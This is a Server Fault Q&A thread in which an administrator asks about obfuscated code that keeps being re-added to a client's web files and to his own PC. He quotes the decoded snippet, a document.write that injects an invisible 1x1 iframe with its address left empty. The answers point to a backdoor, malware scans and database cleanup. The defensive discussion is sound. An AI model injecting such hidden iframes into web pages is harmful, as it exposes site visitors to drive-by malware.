Server Fault is a question and answer site for system and network administrators. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

started helping a company with a web site a few days ago... i notices some strange code in some html and php files on the server:


after decoding it online somewhere i see what it does:

document.write('<iframe src="" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>')

opens a hidden iframe to a malware site?

so i removed the code and asked google webmaster tools to reevaluate the site now that i had removed the code... because google had marked this site as malware bacuse of the hidden iframe that gets added...

but a day later the code was readded to the files on the server... and today local files on my freshly installed win7 machine are getting that code added to the end of every index.htm index.html index.php index.asp and login.*

what is this and how can i remove it? thanks

share|improve this question

The reason it was back after it was removed is because your server probably has a backdoor for the intruder to add it again or the malware adds it automatically. You need to clean both the server and your own computer before you try and remove the code again. Try MalwareBytes and other virus scans or recovery disks from a major AV company to remove it. Even a rootkit revealer like Sophos.

share|improve this answer
If the site uses a database you'll want to scour it as well. – squillman Jul 23 '10 at 16:26

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.